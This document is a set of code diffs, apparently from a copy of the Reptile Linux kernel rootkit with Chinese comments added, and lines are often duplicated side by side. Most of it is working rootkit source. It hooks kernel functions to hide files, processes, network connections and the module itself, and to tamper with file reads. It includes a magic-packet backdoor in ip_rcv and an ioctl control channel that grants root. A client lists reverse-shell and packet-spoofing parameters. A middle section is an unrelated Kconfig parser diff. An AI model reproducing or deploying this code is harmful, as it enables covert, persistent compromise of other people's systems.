if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir64函数 ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
return ret; // 返回结果 return ret;
} }
#endif #endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); // 声明一个扩展钩子函数用于__d_lookup KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else #else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); // 声明一个扩展钩子函数用于__d_lookup KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif #endif
{ {
struct dentry *found = NULL; // 初始化找到的目录项为NULL struct dentry *found = NULL;
if (!strstr(name->name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假 if (!strstr(name->name, HIDE) || !hidden)
found = KHOOK_ORIGIN(__d_lookup, parent, name); // 调用原始的__d_lookup函数 found = KHOOK_ORIGIN(__d_lookup, parent, name);
return found; // 返回找到的目录项 return found;
}
#endif
/* --------------------- 文件内容篡改 --------------------- */
#ifdef CONFIG_FILE_TAMPERING
#include "file.h"
atomic_t read_on;
int file_tampering_flag = 0;
// 这不是最好的方法,但它有效,也许将来会改进
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
size_t count, loff_t *pos)
{
ssize_t ret;
atomic_set(&read_on, 1);
ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos);
if (file_tampering_flag) {
if (file_check(buf, ret) == 1)
ret = hide_content(buf, ret);
}
atomic_set(&read_on, 0);
return ret;
}
#endif
/* ------------------------ 隐藏连接 ------------------------- */
#ifdef CONFIG_HIDE_CONN
#include <net/inet_sock.h>
#include <linux/seq_file.h>
#include "network.h"
LIST_HEAD(hidden_conn_list);
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
static int khook_tcp4_seq_show(struct seq_file *seq, void *v)
{
int ret;
struct sock *sk = v;
struct inet_sock *inet;
struct hidden_conn *hc;
unsigned int daddr;
//unsigned short dport;
if (v == SEQ_START_TOKEN) {
goto origin;
}
inet = (struct inet_sock *)sk;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
daddr = inet->inet_daddr;
//dport = inet->inet_dport;
#else
daddr = inet->daddr;
//dport = inet->dport;
#endif
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
ret = 0;
goto out;
}
}
origin:
ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v);
out:
return ret;
}
KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
static int khook_udp4_seq_show(struct seq_file *seq, void *v)
{
int ret;
struct sock *sk = v;
struct inet_sock *inet;
struct hidden_conn *hc;
unsigned int daddr;
//unsigned short dport;
if (v == SEQ_START_TOKEN) {
goto origin;
}
inet = (struct inet_sock *)sk;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
daddr = inet->inet_daddr;
//dport = inet->inet_dport;
#else
daddr = inet->daddr;
//dport = inet->dport;
#endif
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
ret = 0;
goto out;
}
}
origin:
ret = KHOOK_ORIGIN(udp4_seq_show, seq, v);
out:
return ret;
}
#endif
/* ----------------------------- 后门 ----------------------------- */
#ifdef CONFIG_BACKDOOR
#include <linux/netdevice.h>
#include "backdoor.h"
KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *);
static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt,
struct net_device *orig_dev)
{
if (magic_packet_parse(skb))
return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev);
return 0;
}
#endif
/* ------------------------------ 通用 ----------------------------- */
#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR)
#include <linux/binfmts.h>
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
static int khook_load_elf_binary(struct linux_binprm *bprm)
{
int ret = KHOOK_ORIGIN(load_elf_binary, bprm);
if (!ret && !strcmp(bprm->filename, SHELL_PATH))
flag_tasks(current->pid, 1);
return ret;
} }
#endif
/* ------------------------------- 控制 ----------------------------- */
#include <linux/net.h>
#include <linux/in.h>
#include <linux/uaccess.h>
int control_flag = 0;
struct control {
unsigned short cmd;
void *argv;
};
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
int ret = 0;
unsigned int pid;
struct control args;
struct sockaddr_in addr;
if (cmd == AUTH && arg == HTUA) {
if (control_flag) {
control_flag = 0;
} else {
control_flag = 1;
}
goto out;
}
if (control_flag && cmd == AUTH) {
if (copy_from_user(&args, (void *)arg, sizeof(args)))
goto out;
switch (args.cmd) {
case 0:
#ifdef CONFIG_AUTO_HIDE
hide_module();
#endif
flip_hidden_flag();
break;
case 1:
if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
goto out;
#ifdef CONFIG_HIDE_PROC
hide_proc(pid);
#endif
break;
case 2:
#ifdef CONFIG_FILE_TAMPERING
file_tampering();
#endif
break;
case 3:
#ifdef CONFIG_GIVE_ROOT
get_root();
#endif
break;
case 4:
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
#ifdef CONFIG_HIDE_CONN
network_hide_add(addr);
#endif
break;
case 5:
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
#ifdef CONFIG_HIDE_CONN
network_hide_remove(addr);
#endif
break;
default:
goto origin;
}
goto out;
}
origin:
ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
return ret;
}
/* ------------------------------------------------------------------ */
static int __init reptile_init(void)
{
int ret;
#ifdef CONFIG_FILE_TAMPERING
/* 不幸的是,我需要使用这个来确保在某些内核版本中
* khook
* vfs_read
*/
atomic_set(&read_on, 0);
#endif
ret = khook_init();
if (ret < 0)
return ret;
#ifdef CONFIG_AUTO_HIDE
hide_module();
#endif
run_cmd(START_SCRIPT);
return ret;
}
static void __exit reptile_exit(void)
{
#ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule();
#endif
#ifdef CONFIG_HIDE_CONN
network_hide_cleanup();
#endif
khook_cleanup();
}
module_init(reptile_init);
module_exit(reptile_exit);
MODULE_LICENSE("GPL");

@ -14,8 +14,9 @@
/** /**
* @brief 10 * @brief 10
*/ */
int hide_m = 0; //int hide_m = 0;
int flag_hide_m = 0;
int flag_show_m = 1;
/** /**
* @brief * @brief
*/ */
@ -48,23 +49,27 @@ void hide(void)
while (!mutex_trylock(&module_mutex)) while (!mutex_trylock(&module_mutex))
cpu_relax(); cpu_relax();
// 保存当前模块列表的前一个条目 // 判断模块是否可见,并设置模块隐藏标志
mod_list = THIS_MODULE->list.prev; if(flag_hide_m == 0 && flag_show_m == 1)
{
// 从模块列表中删除当前模块 flag_hide_m = 1;
list_del(&THIS_MODULE->list); flag_show_m = 0;
// 保存当前模块列表的前一个条目
// 释放模块的段属性 mod_list = THIS_MODULE->list.prev;
kfree(THIS_MODULE->sect_attrs);
// 从模块列表中删除当前模块
// 将模块的段属性设置为NULL list_del(&THIS_MODULE->list);
THIS_MODULE->sect_attrs = NULL;
// 释放模块的段属性
// 释放模块互斥锁 kfree(THIS_MODULE->sect_attrs);
mutex_unlock(&module_mutex);
// 将模块的段属性设置为NULL
// 设置模块隐藏标志 THIS_MODULE->sect_attrs = NULL;
hide_m = 1;
// 释放模块互斥锁
mutex_unlock(&module_mutex);
}
} }
void show(void) void show(void)
@ -72,23 +77,27 @@ void show(void)
// 尝试获取模块互斥锁如果失败则让CPU放松 // 尝试获取模块互斥锁如果失败则让CPU放松
while (!mutex_trylock(&module_mutex)) while (!mutex_trylock(&module_mutex))
cpu_relax(); cpu_relax();
// 判断模块是否隐藏,并设置模块可见标志
if(flag_show_m == 0 && flag_hide_m == 1)
{
flag_show_m = 1;
flag_hide_m = 0;
// 将模块重新添加到模块列表中
list_add(&THIS_MODULE->list, mod_list);
// 将模块重新添加到模块列表中 // 释放模块互斥锁
list_add(&THIS_MODULE->list, mod_list); mutex_unlock(&module_mutex);
}
// 释放模块互斥锁
mutex_unlock(&module_mutex);
// 设置模块可见标志
hide_m = 0;
} }
void hide_module(void) void hide_module(void)
{ {
// 如果模块当前可见,则隐藏模块 // 如果模块当前可见,则隐藏模块
if (hide_m == 0) if (flag_hide_m == 0 && flag_show_m == 1)
hide(); hide();
// 如果模块当前隐藏,则显示模块 // 如果模块当前隐藏,则显示模块
else if (hide_m == 1) else if (flag_hide_m == 1 && flag_show_m == 0)
show(); show();
} }

@ -35,6 +35,17 @@ void network_hide_remove(struct sockaddr_in addr)
} }
} }
void network_hide_cleanup(void)
{
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list)
{
list_del(&hc->list);
kfree(hc);
}
}
// 检查一个地址是否被隐藏 // 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr) int is_addr_hidden(struct sockaddr_in addr)
{ {

@ -1,12 +0,0 @@
{
"folders": [
{
"path": "../.."
},
{
"name": "reptile",
"path": "../../reptile"
}
],
"settings": {}
}

@ -17,456 +17,473 @@
#include "lkc.h" #include "lkc.h"
// 定义警告信息输出函数
static void conf_warning(const char *fmt, ...) static void conf_warning(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2))); __attribute__ ((format (printf, 1, 2)));
// 定义普通信息输出函数
static void conf_message(const char *fmt, ...) static void conf_message(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2))); __attribute__ ((format (printf, 1, 2)));
// 配置文件名
static const char *conf_filename; static const char *conf_filename;
// 当前行号
static int conf_lineno, conf_warnings, conf_unsaved; static int conf_lineno, conf_warnings, conf_unsaved;
// 默认配置文件名
const char conf_defname[] = ".defconfig"; const char conf_defname[] = ".defconfig";
// 输出警告信息
static void conf_warning(const char *fmt, ...) static void conf_warning(const char *fmt, ...)
{ {
va_list ap; va_list ap;
va_start(ap, fmt); va_start(ap, fmt);
fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno);
vfprintf(stderr, fmt, ap); vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n"); fprintf(stderr, "\n");
va_end(ap); va_end(ap);
conf_warnings++; conf_warnings++;
} }
// 默认的消息回调函数
static void conf_default_message_callback(const char *fmt, va_list ap) static void conf_default_message_callback(const char *fmt, va_list ap)
{ {
printf("#\n# "); printf("#\n# ");
vprintf(fmt, ap); vprintf(fmt, ap);
printf("\n#\n"); printf("\n#\n");
} }
// 消息回调函数指针
static void (*conf_message_callback) (const char *fmt, va_list ap) = static void (*conf_message_callback) (const char *fmt, va_list ap) =
conf_default_message_callback; conf_default_message_callback;
// 设置消息回调函数
void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap))
{ {
conf_message_callback = fn; conf_message_callback = fn;
} }
// 输出消息信息
static void conf_message(const char *fmt, ...) static void conf_message(const char *fmt, ...)
{ {
va_list ap; va_list ap;
va_start(ap, fmt); va_start(ap, fmt);
if (conf_message_callback) if (conf_message_callback)
conf_message_callback(fmt, ap); conf_message_callback(fmt, ap);
} }
// 获取配置文件名
const char *conf_get_configname(void) const char *conf_get_configname(void)
{ {
char *name = getenv(PRODUCT_ENV"_CONFIG"); char *name = getenv(PRODUCT_ENV"_CONFIG");
return name ? name : ".config"; return name ? name : ".config";
} }
// 获取自动配置文件名
const char *conf_get_autoconfig_name(void) const char *conf_get_autoconfig_name(void)
{ {
return getenv(PRODUCT_ENV"_AUTOCONFIG"); return getenv(PRODUCT_ENV"_AUTOCONFIG");
} }
// 展开配置值中的变量
static char *conf_expand_value(const char *in) static char *conf_expand_value(const char *in)
{ {
struct symbol *sym; struct symbol *sym;
const char *src; const char *src;
static char res_value[SYMBOL_MAXLENGTH]; static char res_value[SYMBOL_MAXLENGTH];
char *dst, name[SYMBOL_MAXLENGTH]; char *dst, name[SYMBOL_MAXLENGTH];
res_value[0] = 0; res_value[0] = 0;
dst = name; dst = name;
while ((src = strchr(in, '$'))) { while ((src = strchr(in, '$'))) {
strncat(res_value, in, src - in); strncat(res_value, in, src - in);
src++; src++;
dst = name; dst = name;
while (isalnum(*src) || *src == '_') while (isalnum(*src) || *src == '_')
*dst++ = *src++; *dst++ = *src++;
*dst = 0; *dst = 0;
sym = sym_lookup(name, 0); sym = sym_lookup(name, 0);
sym_calc_value(sym); sym_calc_value(sym);
strcat(res_value, sym_get_string_value(sym)); strcat(res_value, sym_get_string_value(sym));
in = src; in = src;
} }
strcat(res_value, in); strcat(res_value, in);
return res_value; return res_value;
} }
// 获取默认配置文件名
char *conf_get_default_confname(void) char *conf_get_default_confname(void)
{ {
struct stat buf; struct stat buf;
static char fullname[PATH_MAX+1]; static char fullname[PATH_MAX+1];
char *env, *name; char *env, *name;
name = conf_expand_value(conf_defname); name = conf_expand_value(conf_defname);
env = getenv(SRCTREE); env = getenv(SRCTREE);
if (env) { if (env) {
sprintf(fullname, "%s/%s", env, name); sprintf(fullname, "%s/%s", env, name);
if (!stat(fullname, &buf)) if (!stat(fullname, &buf))
return fullname; return fullname;
} }
return name; return name;
} }
// 设置符号值
static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
{ {
char *p2; char *p2;
switch (sym->type) { switch (sym->type) {
case S_TRISTATE: case S_TRISTATE:
if (p[0] == 'm') { if (p[0] == 'm') {
sym->def[def].tri = mod; sym->def[def].tri = mod;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
} }
/* fall through */ // 跌落至下一个case
case S_BOOLEAN: case S_BOOLEAN:
if (p[0] == 'y') { if (p[0] == 'y') {
sym->def[def].tri = yes; sym->def[def].tri = yes;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
} }
if (p[0] == 'n') { if (p[0] == 'n') {
sym->def[def].tri = no; sym->def[def].tri = no;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
} }
if (def != S_DEF_AUTO) if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s", conf_warning("symbol value '%s' invalid for %s",
p, sym->name); p, sym->name);
return 1; return 1;
case S_OTHER: case S_OTHER:
if (*p != '"') { if (*p != '"') {
for (p2 = p; *p2 && !isspace(*p2); p2++) for (p2 = p; *p2 && !isspace(*p2); p2++)
; ;
sym->type = S_STRING; sym->type = S_STRING;
goto done; goto done;
} }
/* fall through */ // 跌落至下一个case
case S_STRING: case S_STRING:
if (*p++ != '"') if (*p++ != '"')
break; break;
for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) {
if (*p2 == '"') { if (*p2 == '"') {
*p2 = 0; *p2 = 0;
break; break;
} }
memmove(p2, p2 + 1, strlen(p2)); memmove(p2, p2 + 1, strlen(p2));
} }
if (!p2) { if (!p2) {
if (def != S_DEF_AUTO) if (def != S_DEF_AUTO)
conf_warning("invalid string found"); conf_warning("invalid string found");
return 1; return 1;
} }
/* fall through */ // 跌落至下一个case
case S_INT: case S_INT:
case S_HEX: case S_HEX:
done: done:
if (sym_string_valid(sym, p)) { if (sym_string_valid(sym, p)) {
sym->def[def].val = strdup(p); sym->def[def].val = strdup(p);
sym->flags |= def_flags; sym->flags |= def_flags;
} else { } else {
if (def != S_DEF_AUTO) if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s", conf_warning("symbol value '%s' invalid for %s",
p, sym->name); p, sym->name);
return 1; return 1;
} }
break; break;
default: default:
; ;
} }
return 0; return 0;
} }
// 增加字节到行缓冲区
#define LINE_GROWTH 16 #define LINE_GROWTH 16
static int add_byte(int c, char **lineptr, size_t slen, size_t *n) static int add_byte(int c, char **lineptr, size_t slen, size_t *n)
{ {
char *nline; char *nline;
size_t new_size = slen + 1; size_t new_size = slen + 1;
if (new_size > *n) { if (new_size > *n) {
new_size += LINE_GROWTH - 1; new_size += LINE_GROWTH - 1;
new_size *= 2; new_size *= 2;
nline = realloc(*lineptr, new_size); nline = realloc(*lineptr, new_size);
if (!nline) if (!nline)
return -1; return -1;
*lineptr = nline; *lineptr = nline;
*n = new_size; *n = new_size;
} }
(*lineptr)[slen] = c; (*lineptr)[slen] = c;
return 0; return 0;
} }
// 兼容getline函数
static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream)
{ {
char *line = *lineptr; char *line = *lineptr;
size_t slen = 0; size_t slen = 0;
for (;;) { for (;;) {
int c = getc(stream); int c = getc(stream);
switch (c) { switch (c) {
case '\n': case '\n':
if (add_byte(c, &line, slen, n) < 0) if (add_byte(c, &line, slen, n) < 0)
goto e_out; goto e_out;
slen++; slen++;
/* fall through */ // 跌落至下一个case
case EOF: case EOF:
if (add_byte('\0', &line, slen, n) < 0) if (add_byte('\0', &line, slen, n) < 0)
goto e_out; goto e_out;
*lineptr = line; *lineptr = line;
if (slen == 0) if (slen == 0)
return -1; return -1;
return slen; return slen;
default: default:
if (add_byte(c, &line, slen, n) < 0) if (add_byte(c, &line, slen, n) < 0)
goto e_out; goto e_out;
slen++; slen++;
} }
} }
e_out: e_out:
line[slen-1] = '\0'; line[slen-1] = '\0';
*lineptr = line; *lineptr = line;
return -1; return -1;
} }
// 读取简单的配置文件
int conf_read_simple(const char *name, int def) int conf_read_simple(const char *name, int def)
{ {
FILE *in = NULL; FILE *in = NULL;
char *line = NULL; char *line = NULL;
size_t line_asize = 0; size_t line_asize = 0;
char *p, *p2; char *p, *p2;
struct symbol *sym; struct symbol *sym;
int i, def_flags; int i, def_flags;
if (name) { if (name) {
in = zconf_fopen(name); in = zconf_fopen(name);
} else { } else {
struct property *prop; struct property *prop;
name = conf_get_configname(); name = conf_get_configname();
in = zconf_fopen(name); in = zconf_fopen(name);
if (in) if (in)
goto load; goto load;
sym_add_change_count(1); sym_add_change_count(1);
if (!sym_defconfig_list) { if (!sym_defconfig_list) {
if (modules_sym) if (modules_sym)
sym_calc_value(modules_sym); sym_calc_value(modules_sym);
return 1; return 1;
} }
for_all_defaults(sym_defconfig_list, prop) { for_all_defaults(sym_defconfig_list, prop) {
if (expr_calc_value(prop->visible.expr) == no || if (expr_calc_value(prop->visible.expr) == no ||
prop->expr->type != E_SYMBOL) prop->expr->type != E_SYMBOL)
continue; continue;
name = conf_expand_value(prop->expr->left.sym->name); name = conf_expand_value(prop->expr->left.sym->name);
in = zconf_fopen(name); in = zconf_fopen(name);
if (in) { if (in) {
conf_message(_("using defaults found in %s"), conf_message(_("using defaults found in %s"),
name); name);
goto load; goto load;
} }
} }
} }
if (!in) if (!in)
return 1; return 1;
load: load:
conf_filename = name; conf_filename = name;
conf_lineno = 0; conf_lineno = 0;
conf_warnings = 0; conf_warnings = 0;
conf_unsaved = 0; conf_unsaved = 0;
def_flags = SYMBOL_DEF << def; def_flags = SYMBOL_DEF << def;
for_all_symbols(i, sym) { for_all_symbols(i, sym) {
sym->flags |= SYMBOL_CHANGED; sym->flags |= SYMBOL_CHANGED;
sym->flags &= ~(def_flags|SYMBOL_VALID); sym->flags &= ~(def_flags|SYMBOL_VALID);
if (sym_is_choice(sym)) if (sym_is_choice(sym))
sym->flags |= def_flags; sym->flags |= def_flags;
switch (sym->type) { switch (sym->type) {
case S_INT: case S_INT:
case S_HEX: case S_HEX:
case S_STRING: case S_STRING:
if (sym->def[def].val) if (sym->def[def].val)
free(sym->def[def].val); free(sym->def[def].val);
/* fall through */ // 跌落至下一个case
default: default:
sym->def[def].val = NULL; sym->def[def].val = NULL;
sym->def[def].tri = no; sym->def[def].tri = no;
} }
} }
while (compat_getline(&line, &line_asize, in) != -1) { while (compat_getline(&line, &line_asize, in) != -1) {
conf_lineno++; conf_lineno++;
sym = NULL; sym = NULL;
if (line[0] == '#') { if (line[0] == '#') {
if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) if (memcmp(line + 2, CONFIG_, strlen(CONFIG_)))
continue; continue;
p = strchr(line + 2 + strlen(CONFIG_), ' '); p = strchr(line + 2 + strlen(CONFIG_), ' ');
if (!p) if (!p)
continue; continue;
*p++ = 0; *p++ = 0;
if (strncmp(p, "is not set", 10)) if (strncmp(p, "is not set", 10))
continue; continue;
if (def == S_DEF_USER) { if (def == S_DEF_USER) {
sym = sym_find(line + 2 + strlen(CONFIG_)); sym = sym_find(line + 2 + strlen(CONFIG_));
if (!sym) { if (!sym) {
sym_add_change_count(1); sym_add_change_count(1);
goto setsym; goto setsym;
} }
} else { } else {
sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); sym = sym_lookup(line + 2 + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN) if (sym->type == S_UNKNOWN)
sym->type = S_BOOLEAN; sym->type = S_BOOLEAN;
} }
if (sym->flags & def_flags) { if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name); conf_warning("override: reassigning to symbol %s", sym->name);
} }
switch (sym->type) { switch (sym->type) {
case S_BOOLEAN: case S_BOOLEAN:
case S_TRISTATE: case S_TRISTATE:
sym->def[def].tri = no; sym->def[def].tri = no;
sym->flags |= def_flags; sym->flags |= def_flags;
break; break;
default: default:
; ;
} }
} else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) {
p = strchr(line + strlen(CONFIG_), '='); p = strchr(line + strlen(CONFIG_), '=');
if (!p) if (!p)
continue; continue;
*p++ = 0; *p++ = 0;
p2 = strchr(p, '\n'); p2 = strchr(p, '\n');
if (p2) { if (p2) {
*p2-- = 0; *p2-- = 0;
if (*p2 == '\r') if (*p2 == '\r')
*p2 = 0; *p2 = 0;
} }
if (def == S_DEF_USER) { if (def == S_DEF_USER) {
sym = sym_find(line + strlen(CONFIG_)); sym = sym_find(line + strlen(CONFIG_));
if (!sym) { if (!sym) {
sym_add_change_count(1); sym_add_change_count(1);
goto setsym; goto setsym;
} }
} else { } else {
sym = sym_lookup(line + strlen(CONFIG_), 0); sym = sym_lookup(line + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN) if (sym->type == S_UNKNOWN)
sym->type = S_OTHER; sym->type = S_OTHER;
} }
if (sym->flags & def_flags) { if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name); conf_warning("override: reassigning to symbol %s", sym->name);
} }
if (conf_set_sym_val(sym, def, def_flags, p)) if (conf_set_sym_val(sym, def, def_flags, p))
continue; continue;
} else { } else {
if (line[0] != '\r' && line[0] != '\n') if (line[0] != '\r' && line[0] != '\n')
conf_warning("unexpected data"); conf_warning("unexpected data");
continue; continue;
} }
setsym: setsym:
if (sym && sym_is_choice_value(sym)) { if (sym && sym_is_choice_value(sym)) {
struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym));
switch (sym->def[def].tri) { switch (sym->def[def].tri) {
case no: case no:
break; break;
case mod: case mod:
if (cs->def[def].tri == yes) { if (cs->def[def].tri == yes) {
conf_warning("%s creates inconsistent choice state", sym->name); conf_warning("%s creates inconsistent choice state", sym->name);
cs->flags &= ~def_flags; cs->flags &= ~def_flags;
} }
break; break;
case yes: case yes:
if (cs->def[def].tri != no) if (cs->def[def].tri != no)
conf_warning("override: %s changes choice state", sym->name); conf_warning("override: %s changes choice state", sym->name);
cs->def[def].val = sym; cs->def[def].val = sym;
break; break;
} }
cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri);
} }
} }
free(line); free(line);
fclose(in); fclose(in);
if (modules_sym) if (modules_sym)
sym_calc_value(modules_sym); sym_calc_value(modules_sym);
return 0; return 0;
} }
// 读取配置文件
int conf_read(const char *name) int conf_read(const char *name)
{ {
struct symbol *sym; struct symbol *sym;
int i; int i;
sym_set_change_count(0); sym_set_change_count(0);
if (conf_read_simple(name, S_DEF_USER)) if (conf_read_simple(name, S_DEF_USER))
return 1; return 1;
for_all_symbols(i, sym) { for_all_symbols(i, sym) {
sym_calc_value(sym); sym_calc_value(sym);
if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO))
continue; continue;
if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) {
/* check that calculated value agrees with saved value */ // 检查计算值是否与保存值一致
switch (sym->type) { switch (sym->type) {
case S_BOOLEAN: case S_BOOLEAN:
case S_TRISTATE: case S_TRISTATE:
if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym))
break; break;
if (!sym_is_choice(sym)) if (!sym_is_choice(sym))
continue; continue;
/* fall through */ // 跌落至下一个case
default: default:
if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val))
continue; continue;
break; break;
} }
} else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE))
/* no previous value and not saved */ // 没有先前值且未保存
continue; continue;
conf_unsaved++; conf_unsaved++;
/* maybe print value in verbose mode... */ // 在详细模式下可能打印值...
} }
for_all_symbols(i, sym) { for_all_symbols(i, sym) {
if (sym_has_value(sym) && !sym_is_choice_value(sym)) { if (sym_has_value(sym) && !sym_is_choice_value(sym)) {
/* Reset values of generates values, so they'll appear // 重置生成值的值,以便它们在出现时会显示为新值,
* as new, if they should become visible, but that // 但如果Kconfig和保存的配置不一致则不起作用。
* doesn't quite work if the Kconfig and the saved if (sym->visible == no && !conf_unsaved)
* configuration disagree. sym->flags &= ~SYMBOL_DEF_USER;
*/ switch (sym->type) {
if (sym->visible == no && !conf_unsaved) case S_STRING:
sym->flags &= ~SYMBOL_DEF_USER; case S_INT:
switch (sym->type) { case S_HEX:
case S_STRING: // 如果字符串值超出范围,则重置字符串值
case S_INT: if (sym_string_within_range(sym, sym->def[S_DEF_USER].val))
case S_HEX: break;
/* Reset a string value if it's out of range */ sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER);
if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) conf_unsaved++;
break; break;
sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); default:
conf_unsaved++; break;
break; }
default: }
break; }
}
} sym_add_change_count(conf_warnings || conf_unsaved);
}
return 0;
sym_add_change_count(conf_warnings || conf_unsaved);
return 0;
} }
/* /*

@ -24,16 +24,16 @@
#include "util.h" #include "util.h"
pid_t pid; pid_t pid;// 声明变量用于存储进程ID、监听器和数据包
char *listener, *packet; char *listener, *packet; //
char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", // 定义参数名称数组,用于配置工具的参数
"rport", "prot", "pass", "token"}; "rport", "prot", "pass", "token"};
char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST", char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// 定义参数名称的大写版本数组,用于匹配用户输入
"RPORT", "PROT", "PASS", "TOKEN"}; "RPORT", "PROT", "PASS", "TOKEN"};
char *description[] = {"Local host to receive the shell", char *description[] = {"Local host to receive the shell",// 定义参数描述数组,用于在帮助信息中解释每个参数的作用
"Local port to receive the shell", "Local port to receive the shell",
"Source host on magic packets (spoof)", "Source host on magic packets (spoof)",
"Source port on magic packets (only for TCP/UDP)", "Source port on magic packets (only for TCP/UDP)",
@ -44,7 +44,7 @@ char *description[] = {"Local host to receive the shell",
"Token to trigger the shell"}; "Token to trigger the shell"};
int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); } int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); }
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// 定义参数值数组,用于存储用户设置的参数值
int help(char **args); int help(char **args);
int __exit(char **args); int __exit(char **args);
@ -53,15 +53,17 @@ int unset(char **args);
int show(char **args); int show(char **args);
int run(char **args); int run(char **args);
int export(char **args); int export(char **args);
int load(char **args); int load(char **args); //客户端操作
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // 定义内置命令数组和对应的函数指针数组
